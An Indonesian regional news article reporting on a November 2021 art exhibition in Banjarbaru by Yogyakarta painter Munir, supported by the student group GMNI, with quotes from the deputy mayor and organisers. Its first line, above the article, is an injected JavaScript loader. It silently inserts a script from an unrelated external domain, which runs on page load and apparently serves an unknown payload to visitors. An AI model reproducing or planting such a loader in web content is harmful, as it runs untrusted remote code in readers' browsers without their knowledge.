(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pameran Seni Rupa yang mengusung tema “Arus Zaman yang Berbeda” berlangsung di Cafe Siang Malam, dari tanggal 22-27 November 2021. Pameran menampilkan karya Munir, seniman asal Yogyakarta.
Pameran ini hasil kerja sama antara Ikatan Seni Indonesia (ISI) Yogyakarta dengan Gerakan Mahasiswa Nasional Indonesia (GMNI) Kota Banjarbaru dan disupport oleh Café Siang malam.
Wakil Wali Kota Banjarbaru, Wartono sangat mengapresiasi langkah yang diambil oleh GMNI Kota Banjarbaru dalam menggelar pameran seni rupa ini. Serta mengharapkan pameran seperti ini bisa terus digelar di Kota Banjarbaru.
“Dengan adanya kegiatan seperti ini diharapkan bisa meningkatkan minat masyarakat Banjarbaru akan sebuah karya seni,” ungkapnya.
Baca juga : KRONOLOGI. Tenggelamnya Tiga Orang di Irigasi Batang Alai HST, Berawal dari Sandal Jatuh
Dikatakan Wartono kegiatan seperti ini agar bisa dilakukan sesering mungkin dengan berkolaborasi dengan para pelaku seni di Kota Banjarbaru untuk melaksanakan pameran seni.
“Ini juga dapat menggaungkan di Kota Banjarbaru memilik banyak pelaku seni yang dapat memberikan angin segar dan pengayaan ekspresi di daerah,” katanya.
Diakui Wartono, dirinya sebelum menjadi Wakil Walikota selalu memonitor GMNI Kota Banjarbaru telah memberi warna tersendiri di Kota Banjarbaru.
“Mereka sering melakukan kegiatan positif dalam memonitor penanaman seribu pohon yang dilakukan GMNI, serta hendaknya GMNI terus berekspresi memberi warna kepada daerah kita Kota Banjarbaru,” akunya.
Baca juga : Tiga Orang Tenggelam di Bendungan Batang Alai, BPBD Pakai Perahu Karet Cari Korban
Sementara itu Anggota Seni ISI Yogyakarta, Munir mengatakan dirinya memilih Kota Banjarbaru dalam pergelaran pameran seni ini bukanlah tanpa alasan. Diakuinya hanya di Kota Banjarbaru saja yang memungkin bisa menerima hasil karyanya yang beraliran ekspresionisme.
“Sempat mengalami keraguan apakah di Kota Banjarbaru hasil karya ini bisa diterima atau tidak,” ungkapnya.
Bagai gayung bersambut, dikatakan Munir, hanya di Banjarbaru yang bisa menerima karakteristik hasil dari lukisannya.
Dijelaskannya setelah melakukan pameran di Kota Banjarbaru dirinya akan melakukan kembali pameran di Kota Samarinda dalam waktu dekat.
Baca juga : Bupati Banjar Minta Para Camat Persentasi Data Vaksinasi di Masing-Masing Wilayah
Lebih lanjut Ketua GMNI Kota Banjarbaru Sefrian Arya Pratama mengatakan GMNI Kota Banjarbaru menerima kabar dari GMNI Kota Banjarmasin bahwa ada dua orang seniman asal Yogyakarta yang bersandar di Kalimantan Selatan.
“GMNI Kota Banjarbaru mencoba mensupport pameran ini karena karya dari bung Munir ini dan memili ekspresi kebebasan seniman,” jelasnya.
Diterangkan Arya, GMNI Kota Banjarbaru mencoba mensupport dengan memberikan fasilitas tempat dalam mengadakan pameran ini.
“GMNI Kota Banjarbaru terbuka kepada para penggiat seni di Kota Banjarbaru serta Kalsel, jika ingin menampilkan karyanya GMNI Kota Banjarbaru siap mensupport para pelaku seni dalam melakukan pergelaran pameran seni rupa,” pungkasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.